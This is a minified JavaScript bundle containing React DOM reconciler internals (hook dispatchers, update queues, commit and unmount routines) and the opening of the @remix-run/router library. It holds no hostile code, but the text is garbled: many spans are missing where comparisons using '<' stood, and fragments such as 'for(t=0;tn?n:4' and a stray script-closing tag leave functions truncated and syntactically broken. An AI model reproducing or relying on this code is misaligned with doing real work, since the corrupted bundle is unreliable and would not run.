n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var nn=!1;function Si(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function su(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function Ft(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function rn(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,(le&2)!==0){var l=r.pending;return l===null?t.next=t:(t.next=l.next,l.next=t),r.pending=t,It(e,n)}return l=r.interleaved,l===null?(t.next=t,ki(r)):(t.next=l.next,l.next=t),r.interleaved=t,It(e,n)}function Ol(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Fo(e,n)}}function au(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var l=null,o=null;if(n=n.firstBaseUpdate,n!==null){do{var u={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};o===null?l=o=u:o=o.next=u,n=n.next}while(n!==null);o===null?l=o=t:o=o.next=t}else l=o=t;n={baseState:r.baseState,firstBaseUpdate:l,lastBaseUpdate:o,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function Il(e,t,n,r){var l=e.updateQueue;nn=!1;var o=l.firstBaseUpdate,u=l.lastBaseUpdate,f=l.shared.pending;if(f!==null){l.shared.pending=null;var m=f,C=m.next;m.next=null,u===null?o=C:u.next=C,u=m;var M=e.alternate;M!==null&&(M=M.updateQueue,f=M.lastBaseUpdate,f!==u&&(f===null?M.firstBaseUpdate=C:f.next=C,M.lastBaseUpdate=m))}if(o!==null){var O=l.baseState;u=0,M=C=m=null,f=o;do{var L=f.lane,U=f.eventTime;if((r&L)===L){M!==null&&(M=M.next={eventTime:U,lane:0,tag:f.tag,payload:f.payload,callback:f.callback,next:null});e:{var W=e,$=f;switch(L=t,U=n,$.tag){case 1:if(W=$.payload,typeof W=="function"){O=W.call(U,O,L);break e}O=W;break e;case 3:W.flags=W.flags&-65537|128;case 0:if(W=$.payload,L=typeof W=="function"?W.call(U,O,L):W,L==null)break e;O=A({},O,L);break e;case 2:nn=!0}}f.callback!==null&&f.lane!==0&&(e.flags|=64,L=l.effects,L===null?l.effects=[f]:L.push(f))}else U={eventTime:U,lane:L,tag:f.tag,payload:f.payload,callback:f.callback,next:null},M===null?(C=M=U,m=O):M=M.next=U,u|=L;if(f=f.next,f===null){if(f=l.shared.pending,f===null)break;L=f,f=L.next,L.next=null,l.lastBaseUpdate=L,l.shared.pending=null}}while(!0);if(M===null&&(m=O),l.baseState=m,l.firstBaseUpdate=C,l.lastBaseUpdate=M,t=l.shared.interleaved,t!==null){l=t;do u|=l.lane,l=l.next;while(l!==t)}else o===null&&(l.shared.lanes=0);En|=u,e.lanes=u,e.memoizedState=O}}function uu(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;tn?n:4,e(!0);var r=Pi.transition;Pi.transition={};try{e(!1),t()}finally{ue=n,Pi.transition=r}}function _u(){return dt().memoizedState}function Kf(e,t,n){var r=an(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},zu(e))Ru(t,n);else if(n=iu(e,t,n,r),n!==null){var l=Qe();St(n,e,r,l),Lu(n,t,r)}}function Xf(e,t,n){var r=an(e),l={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(zu(e))Ru(t,l);else{var o=e.alternate;if(e.lanes===0&&(o===null||o.lanes===0)&&(o=t.lastRenderedReducer,o!==null))try{var u=t.lastRenderedState,f=o(u,n);if(l.hasEagerState=!0,l.eagerState=f,gt(f,u)){var m=t.interleaved;m===null?(l.next=l,ki(t)):(l.next=m.next,m.next=l),t.interleaved=l;return}}catch{}finally{}n=iu(e,t,l,r),n!==null&&(l=Qe(),St(n,e,r,l),Lu(n,t,r))}}function zu(e){var t=e.alternate;return e===ke||t!==null&&t===ke}function Ru(e,t){Fr=Ul=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function Lu(e,t,n){if((n&4194240)!==0){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Fo(e,n)}}var Vl={readContext:ct,useCallback:We,useContext:We,useEffect:We,useImperativeHandle:We,useInsertionEffect:We,useLayoutEffect:We,useMemo:We,useReducer:We,useRef:We,useState:We,useDebugValue:We,useDeferredValue:We,useTransition:We,useMutableSource:We,useSyncExternalStore:We,useId:We,unstable_isNewReconciler:!1},Yf={readContext:ct,useCallback:function(e,t){return zt().memoizedState=[e,t===void 0?null:t],e},useContext:ct,useEffect:wu,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,Al(4194308,4,Cu.bind(null,t,e),n)},useLayoutEffect:function(e,t){return Al(4194308,4,e,t)},useInsertionEffect:function(e,t){return Al(4,2,e,t)},useMemo:function(e,t){var n=zt();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=zt();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=Kf.bind(null,ke,e),[r.memoizedState,e]},useRef:function(e){var t=zt();return e={current:e},t.memoizedState=e},useState:yu,useDebugValue:Oi,useDeferredValue:function(e){return zt().memoizedState=e},useTransition:function(){var e=yu(!1),t=e[0];return e=Gf.bind(null,e[1]),zt().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=ke,l=zt();if(xe){if(n===void 0)throw Error(s(407));n=n()}else{if(n=t(),Oe===null)throw Error(s(349));(Nn&30)!==0||pu(r,t,n)}l.memoizedState=n;var o={value:n,getSnapshot:t};return l.queue=o,wu(mu.bind(null,r,o,e),[e]),r.flags|=2048,Ar(9,hu.bind(null,r,o,n,t),void 0,null),n},useId:function(){var e=zt(),t=Oe.identifierPrefix;if(xe){var n=Ot,r=Mt;n=(r&~(1<<32-vt(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=Dr++,0<\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=u.createElement(n,{is:r.is}):(e=u.createElement(n),n==="select"&&(u=e,r.multiple?u.multiple=!0:r.size&&(u.size=r.size))):e=u.createElementNS(e,n),e[Pt]=t,e[Rr]=r,Ju(e,t,!1,!1),t.stateNode=e;e:{switch(u=jo(n,r),n){case"dialog":me("cancel",e),me("close",e),l=r;break;case"iframe":case"object":case"embed":me("load",e),l=r;break;case"video":case"audio":for(l=0;lZn&&(t.flags|=128,r=!0,Br(o,!1),t.lanes=4194304)}else{if(!r)if(e=Fl(u),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),Br(o,!0),o.tail===null&&o.tailMode==="hidden"&&!u.alternate&&!xe)return $e(t),null}else 2*Ee()-o.renderingStartTime>Zn&&n!==1073741824&&(t.flags|=128,r=!0,Br(o,!1),t.lanes=4194304);o.isBackwards?(u.sibling=t.child,t.child=u):(n=o.last,n!==null?n.sibling=u:t.child=u,o.last=u)}return o.tail!==null?(t=o.tail,o.rendering=t,o.tail=t.sibling,o.renderingStartTime=Ee(),t.sibling=null,n=we.current,fe(we,r?n&1|2:n&1),t):($e(t),null);case 22:case 23:return ls(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&(t.mode&1)!==0?(it&1073741824)!==0&&($e(t),t.subtreeFlags&6&&(t.flags|=8192)):$e(t),null;case 24:return null;case 25:return null}throw Error(s(156,t.tag))}function lp(e,t){switch(pi(t),t.tag){case 1:return Xe(t.type)&&El(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return Xn(),ve(Ke),ve(Ve),ji(),e=t.flags,(e&65536)!==0&&(e&128)===0?(t.flags=e&-65537|128,t):null;case 5:return Ni(t),null;case 13:if(ve(we),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(s(340));Hn()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return ve(we),null;case 4:return Xn(),null;case 10:return xi(t.type._context),null;case 22:case 23:return ls(),null;case 24:return null;default:return null}}var Hl=!1,be=!1,op=typeof WeakSet=="function"?WeakSet:Set,V=null;function Jn(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){Ne(e,t,r)}else n.current=null}function Qi(e,t,n){try{n()}catch(r){Ne(e,t,r)}}var ec=!1;function ip(e,t){if(li=dl,e=Ta(),Yo(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var l=r.anchorOffset,o=r.focusNode;r=r.focusOffset;try{n.nodeType,o.nodeType}catch{n=null;break e}var u=0,f=-1,m=-1,C=0,M=0,O=e,L=null;t:for(;;){for(var U;O!==n||l!==0&&O.nodeType!==3||(f=u+l),O!==o||r!==0&&O.nodeType!==3||(m=u+r),O.nodeType===3&&(u+=O.nodeValue.length),(U=O.firstChild)!==null;)L=O,O=U;for(;;){if(O===e)break t;if(L===n&&++C===l&&(f=u),L===o&&++M===r&&(m=u),(U=O.nextSibling)!==null)break;O=L,L=O.parentNode}O=U}n=f===-1||m===-1?null:{start:f,end:m}}else n=null}n=n||{start:0,end:0}}else n=null;for(oi={focusedElem:e,selectionRange:n},dl=!1,V=t;V!==null;)if(t=V,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,V=e;else for(;V!==null;){t=V;try{var W=t.alternate;if((t.flags&1024)!==0)switch(t.tag){case 0:case 11:case 15:break;case 1:if(W!==null){var $=W.memoizedProps,je=W.memoizedState,w=t.stateNode,v=w.getSnapshotBeforeUpdate(t.elementType===t.type?$:xt(t.type,$),je);w.__reactInternalSnapshotBeforeUpdate=v}break;case 3:var S=t.stateNode.containerInfo;S.nodeType===1?S.textContent="":S.nodeType===9&&S.documentElement&&S.removeChild(S.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(s(163))}}catch(I){Ne(t,t.return,I)}if(e=t.sibling,e!==null){e.return=t.return,V=e;break}V=t.return}return W=ec,ec=!1,W}function Vr(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var l=r=r.next;do{if((l.tag&e)===e){var o=l.destroy;l.destroy=void 0,o!==void 0&&Qi(t,n,o)}l=l.next}while(l!==r)}}function Ql(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function Gi(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function tc(e){var t=e.alternate;t!==null&&(e.alternate=null,tc(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[Pt],delete t[Rr],delete t[ui],delete t[Wf],delete t[$f])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function nc(e){return e.tag===5||e.tag===3||e.tag===4}function rc(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||nc(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function Ki(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=Cl));else if(r!==4&&(e=e.child,e!==null))for(Ki(e,t,n),e=e.sibling;e!==null;)Ki(e,t,n),e=e.sibling}function Xi(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(Xi(e,t,n),e=e.sibling;e!==null;)Xi(e,t,n),e=e.sibling}var De=null,wt=!1;function ln(e,t,n){for(n=n.child;n!==null;)lc(e,t,n),n=n.sibling}function lc(e,t,n){if(jt&&typeof jt.onCommitFiberUnmount=="function")try{jt.onCommitFiberUnmount(ol,n)}catch{}switch(n.tag){case 5:be||Jn(n,t);case 6:var r=De,l=wt;De=null,ln(e,t,n),De=r,wt=l,De!==null&&(wt?(e=De,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):De.removeChild(n.stateNode));break;case 18:De!==null&&(wt?(e=De,n=n.stateNode,e.nodeType===8?ai(e.parentNode,n):e.nodeType===1&&ai(e,n),xr(e)):ai(De,n.stateNode));break;case 4:r=De,l=wt,De=n.stateNode.containerInfo,wt=!0,ln(e,t,n),De=r,wt=l;break;case 0:case 11:case 14:case 15:if(!be&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){l=r=r.next;do{var o=l,u=o.destroy;o=o.tag,u!==void 0&&((o&2)!==0||(o&4)!==0)&&Qi(n,t,u),l=l.next}while(l!==r)}ln(e,t,n);break;case 1:if(!be&&(Jn(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(f){Ne(n,t,f)}ln(e,t,n);break;case 21:ln(e,t,n);break;case 22:n.mode&1?(be=(r=be)||n.memoizedState!==null,ln(e,t,n),be=r):ln(e,t,n);break;default:ln(e,t,n)}}function oc(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new op),t.forEach(function(r){var l=mp.bind(null,e,r);n.has(r)||(n.add(r),r.then(l,l))})}}function kt(e,t){var n=t.deletions;if(n!==null)for(var r=0;rl&&(l=u),r&=~o}if(r=l,r=Ee()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*ap(r/1960))-r,10e?16:e,sn===null)var r=!1;else{if(e=sn,sn=null,Jl=0,(le&6)!==0)throw Error(s(331));var l=le;for(le|=4,V=e.current;V!==null;){var o=V,u=o.child;if((V.flags&16)!==0){var f=o.deletions;if(f!==null){for(var m=0;mEe()-qi?Pn(e,0):Ji|=n),qe(e,t)}function yc(e,t){t===0&&((e.mode&1)===0?t=1:(t=sl,sl<<=1,(sl&130023424)===0&&(sl=4194304)));var n=Qe();e=It(e,t),e!==null&&(hr(e,t,n),qe(e,n))}function hp(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),yc(e,n)}function mp(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,l=e.memoizedState;l!==null&&(n=l.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(s(314))}r!==null&&r.delete(t),yc(e,n)}var xc;xc=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||Ke.current)Ye=!0;else{if((e.lanes&n)===0&&(t.flags&128)===0)return Ye=!1,np(e,t,n);Ye=(e.flags&131072)!==0}else Ye=!1,xe&&(t.flags&1048576)!==0&&qa(t,zl,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;bl(e,t),e=t.pendingProps;var l=Wn(t,Ve.current);Kn(t,n),l=zi(null,t,r,e,l,n);var o=Ri();return t.flags|=1,typeof l=="object"&&l!==null&&typeof l.render=="function"&&l.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Xe(r)?(o=!0,jl(t)):o=!1,t.memoizedState=l.state!==null&&l.state!==void 0?l.state:null,Si(t),l.updater=Wl,t.stateNode=l,l._reactInternals=t,Fi(t,r,e,n),t=Bi(null,t,r,!0,o,n)):(t.tag=0,xe&&o&&fi(t),He(null,t,l,n),t=t.child),t;case 16:r=t.elementType;e:{switch(bl(e,t),e=t.pendingProps,l=r._init,r=l(r._payload),t.type=r,l=t.tag=gp(r),e=xt(r,e),l){case 0:t=Ai(null,t,r,e,n);break e;case 1:t=Hu(null,t,r,e,n);break e;case 11:t=Bu(null,t,r,e,n);break e;case 14:t=Vu(null,t,r,xt(r.type,e),n);break e}throw Error(s(306,r,""))}return t;case 0:return r=t.type,l=t.pendingProps,l=t.elementType===r?l:xt(r,l),Ai(e,t,r,l,n);case 1:return r=t.type,l=t.pendingProps,l=t.elementType===r?l:xt(r,l),Hu(e,t,r,l,n);case 3:e:{if(Qu(t),e===null)throw Error(s(387));r=t.pendingProps,o=t.memoizedState,l=o.element,su(e,t),Il(t,r,null,n);var u=t.memoizedState;if(r=u.element,o.isDehydrated)if(o={element:r,isDehydrated:!1,cache:u.cache,pendingSuspenseBoundaries:u.pendingSuspenseBoundaries,transitions:u.transitions},t.updateQueue.baseState=o,t.memoizedState=o,t.flags&256){l=Yn(Error(s(423)),t),t=Gu(e,t,r,n,l);break e}else if(r!==l){l=Yn(Error(s(424)),t),t=Gu(e,t,r,n,l);break e}else for(ot=qt(t.stateNode.containerInfo.firstChild),lt=t,xe=!0,yt=null,n=ou(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(Hn(),r===l){t=Dt(e,t,n);break e}He(e,t,r,n)}t=t.child}return t;case 5:return cu(t),e===null&&mi(t),r=t.type,l=t.pendingProps,o=e!==null?e.memoizedProps:null,u=l.children,ii(r,l)?u=null:o!==null&&ii(r,o)&&(t.flags|=32),bu(e,t),He(e,t,u,n),t.child;case 6:return e===null&&mi(t),null;case 13:return Ku(e,t,n);case 4:return Ci(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=Qn(t,null,r,n):He(e,t,r,n),t.child;case 11:return r=t.type,l=t.pendingProps,l=t.elementType===r?l:xt(r,l),Bu(e,t,r,l,n);case 7:return He(e,t,t.pendingProps,n),t.child;case 8:return He(e,t,t.pendingProps.children,n),t.child;case 12:return He(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,l=t.pendingProps,o=t.memoizedProps,u=l.value,fe(Tl,r._currentValue),r._currentValue=u,o!==null)if(gt(o.value,u)){if(o.children===l.children&&!Ke.current){t=Dt(e,t,n);break e}}else for(o=t.child,o!==null&&(o.return=t);o!==null;){var f=o.dependencies;if(f!==null){u=o.child;for(var m=f.firstContext;m!==null;){if(m.context===r){if(o.tag===1){m=Ft(-1,n&-n),m.tag=2;var C=o.updateQueue;if(C!==null){C=C.shared;var M=C.pending;M===null?m.next=m:(m.next=M.next,M.next=m),C.pending=m}}o.lanes|=n,m=o.alternate,m!==null&&(m.lanes|=n),wi(o.return,n,t),f.lanes|=n;break}m=m.next}}else if(o.tag===10)u=o.type===t.type?null:o.child;else if(o.tag===18){if(u=o.return,u===null)throw Error(s(341));u.lanes|=n,f=u.alternate,f!==null&&(f.lanes|=n),wi(u,n,t),u=o.sibling}else u=o.child;if(u!==null)u.return=o;else for(u=o;u!==null;){if(u===t){u=null;break}if(o=u.sibling,o!==null){o.return=u.return,u=o;break}u=u.return}o=u}He(e,t,l.children,n),t=t.child}return t;case 9:return l=t.type,r=t.pendingProps.children,Kn(t,n),l=ct(l),r=r(l),t.flags|=1,He(e,t,r,n),t.child;case 14:return r=t.type,l=xt(r,t.pendingProps),l=xt(r.type,l),Vu(e,t,r,l,n);case 15:return Wu(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,l=t.pendingProps,l=t.elementType===r?l:xt(r,l),bl(e,t),t.tag=1,Xe(r)?(e=!0,jl(t)):e=!1,Kn(t,n),Mu(t,r,l),Fi(t,r,l,n),Bi(null,t,r,!0,e,n);case 19:return Yu(e,t,n);case 22:return $u(e,t,n)}throw Error(s(156,t.tag))};function wc(e,t){return Zs(e,t)}function vp(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function pt(e,t,n,r){return new vp(e,t,n,r)}function is(e){return e=e.prototype,!(!e||!e.isReactComponent)}function gp(e){if(typeof e=="function")return is(e)?1:0;if(e!=null){if(e=e.$$typeof,e===re)return 11;if(e===tt)return 14}return 2}function cn(e,t){var n=e.alternate;return n===null?(n=pt(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function to(e,t,n,r,l,o){var u=2;if(r=e,typeof e=="function")is(e)&&(u=1);else if(typeof e=="string")u=5;else e:switch(e){case Pe:return zn(n.children,l,o,t);case ze:u=8,l|=8;break;case Ge:return e=pt(12,n,t,l|2),e.elementType=Ge,e.lanes=o,e;case Ae:return e=pt(13,n,t,l),e.elementType=Ae,e.lanes=o,e;case Be:return e=pt(19,n,t,l),e.elementType=Be,e.lanes=o,e;case he:return no(n,l,o,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case Fe:u=10;break e;case et:u=9;break e;case re:u=11;break e;case tt:u=14;break e;case Re:u=16,r=null;break e}throw Error(s(130,e==null?e:typeof e,""))}return t=pt(u,n,t,l),t.elementType=e,t.type=r,t.lanes=o,t}function zn(e,t,n,r){return e=pt(7,e,r,t),e.lanes=n,e}function no(e,t,n,r){return e=pt(22,e,r,t),e.elementType=he,e.lanes=n,e.stateNode={isHidden:!1},e}function ss(e,t,n){return e=pt(6,e,null,t),e.lanes=n,e}function as(e,t,n){return t=pt(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function yp(e,t,n,r,l){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Io(0),this.expirationTimes=Io(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Io(0),this.identifierPrefix=r,this.onRecoverableError=l,this.mutableSourceEagerHydrationData=null}function us(e,t,n,r,l,o,u,f,m){return e=new yp(e,t,n,f,m),t===1?(t=1,o===!0&&(t|=8)):t=0,o=pt(3,null,null,t),e.current=o,o.stateNode=e,o.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},Si(o),e}function xp(e,t,n){var r=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(i)}catch(a){console.error(a)}}return i(),ms.exports=Op(),ms.exports}var Oc;function Ip(){if(Oc)return uo;Oc=1;var i=Yc();return uo.createRoot=i.createRoot,uo.hydrateRoot=i.hydrateRoot,uo}var Fp=Ip();Yc();/** + * @remix-run/router v1.23.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Yr(){return Yr=Object.assign?Object.assign.bind():function(i){for(var a=1;a"u")throw new Error(a)}function Ps(i,a){if(!i){typeof console<"u"&&console.warn(a);try{throw new Error(a)}catch{}}}function Up(){return Math.random().toString(36).substr(2,8)}function Fc(i,a){return{usr:i.state,key:i.key,idx:a}}function ks(i,a,s,c){return s===void 0&&(s=null),Yr({pathname:typeof i=="string"?i:i.pathname,search:"",hash:""},typeof a=="string"?lr(a):a,{state:s,key:a&&a.key||c||Up()})}function fo(i){let{pathname:a="/",search:s="",hash:c=""}=i;return s&&s!=="?"&&(a+=s.charAt(0)==="?"?s:"?"+s),c&&c!=="#"&&(a+=c.charAt(0)==="#"?c:"#"+c),a}function lr(i){let a={};if(i){let s=i.indexOf("#");s>=0&&(a.hash=i.substr(s),i=i.substr(0,s));let c=i.indexOf("?");c>=0&&(a.search=i.substr(c),i=i.substr(0,c)),i&&(a.pathname=i)}return a}function Ap(i,a,s,c){c===void 0&&(c={});let{window:p=document.defaultView,v5Compat:h=!1}=c,g=p.history,x=hn.Pop,k=null,_=N();_==null&&(_=0,g.replaceState(Yr({},g.state,{idx:_}),""));function N(){return(g.state||{idx:null}).idx}function j(){x=hn.Pop;let z=N(),H=z==null?null:z-_;_=z,k&&k({action:x,location:R.location,delta:H})}function P(z,H){x=hn.Push;let Q=ks(R.location,z,H);_=N()+1;let q=Fc(Q,_),J=R.createHref(Q);try{g.pushState(q,"",J)}catch(pe){if(pe instanceof DOMException&&pe.name==="DataCloneError")throw pe;p.location.assign(J)}h&&k&&k({action:x,location:R.location,delta:1})}function B(z,H){x=hn.Replace;let Q=ks(R.location,z,H);_=N();let q=Fc(Q,_),J=R.createHref(Q);g.replaceState(q,"",J),h&&k&&k({action:x,location:R.location,delta:0})}function F(z){let H=p.location.origin!=="null"?p.location.origin:p.location.href,Q=typeof z=="string"?z:fo(z);return Q=Q.replace(/ $/,"%20"),Se(H,"No window.location.(origin|href) available to create URL for href: "+Q),new URL(Q,H)}let R={get action(){return x},get location(){return i(p,g)},listen(z){if(k)throw new Error("A history only accepts one active listener");return p.addEventListener(Ic,j),k=z,()=>{p.removeEventListener(Ic,j),k=null}},createHref(z){return a(p,z)},createURL:F,encodeLocation(z){let H=F(z);return{pathname:H.pathname,search:H.search,hash:H.hash}},push:P,replace:B,go(z){return g.go(z)}};return R}var Dc;(function(i){i.data="data",i.deferred="deferred",i.redirect="redirect",i.error="error"})(Dc||(Dc={}));function Bp(i,a,s){return s===void 0&&(s="/"),Vp(i,a,s)}function Vp(i,a,s,c){let p=typeof a=="string"?lr(a):a,h=nr(p.pathname||"/",s);if(h==null)return null;let g=Jc(i);Wp(g);let x=null,k=Zp(h);for(let _=0;x==null&&_{let k={relativePath:x===void 0?h.path||"":x,caseSensitive:h.caseSensitive===!0,childrenIndex:g,route:h};k.relativePath.startsWith("/")&&(Se(k.relativePath.startsWith(c),'Absolute route path "'+k.relativePath+'" nested under path '+('"'+c+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),k.relativePath=k.relativePath.slice(c.length));let _=mn([c,k.relativePath]),N=s.concat(k);h.children&&h.children.length>0&&(Se(h.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+_+'".')),Jc(h.children,a,N,_)),!(h.path==null&&!h.index)&&a.push({path:_,score:Xp(_,h.index),routesMeta:N})};return i.forEach((h,g)=>{var x;if(h.path===""||!((x=h.path)!=null&&x.includes("?")))p(h,g);else for(let k of qc(h.path))p(h,g,k)}),a}function qc(i){let a=i.split("/");if(a.length===0)return[];let[s,...c]=a,p=s.endsWith("?"),h=s.replace(/\?$/,"");if(c.length===0)return p?[h,""]:[h];let g=qc(c.join("/")),x=[];return x.push(...g.map(k=>k===""?h:[h,k].join("/"))),p&&x.push(...g),x.map(k=>i.startsWith("/")&&k===""?"/":k)}function Wp(i){i.sort((a,s)=>a.score!==s.score?s.score-a.score:Yp(a.routesMeta.map(c=>c.childrenIndex),s.routesMeta.map(c=>c.childrenIndex)))}const $p=/^:[\w-]+$/,bp=3,Hp=2,Qp=1,Gp=10,Kp=-2,Uc=i=>i==="*";function Xp(i,a){let s=i.split("/"),c=s.length;return s.some(Uc)&&(c+=Kp),a&&(c+=Hp),s.filter(p=>!Uc(p)).reduce((p,h)=>p+($p.test(h)?bp:h===""?Qp:Gp),c)}function Yp(i,a){return i.length===a.length&&i.slice(0,-1).every((c,p)=>c===a[p])?i[i.length-1]-a[a.length-1]:0}function Jp(i,a,s){let{routesMeta:c}=i,p={},h="/",g=[];for(let x=0;x{let{paramName:P,isOptional:B}=N;if(P==="*"){let R=x[j]||"";g=h.slice(0,h.length-R.length).replace(/(.)\/+$/,"$1")}const F=x[j];return B&&!F?_[P]=void 0:_[P]=(F||"").replace(/%2F/g,"/"),_},{}),pathname:h,pathnameBase:g,pattern:i}}function qp(i,a,s){a===void 0&&(a=!1),s===void 0&&(s=!0),Ps(i==="*"||!i.endsWith("*")||i.endsWith("/*"),'Route path "'+i+'" will be treated as if it were '+('"'+i.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+i.replace(/\*$/,"/*")+'".'));let c=[],p="^"+i.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(g,x,k)=>(c.push({paramName:x,isOptional:k!=null}),k?"/?([^\\/]+)?":"/([^\\/]+)"));return 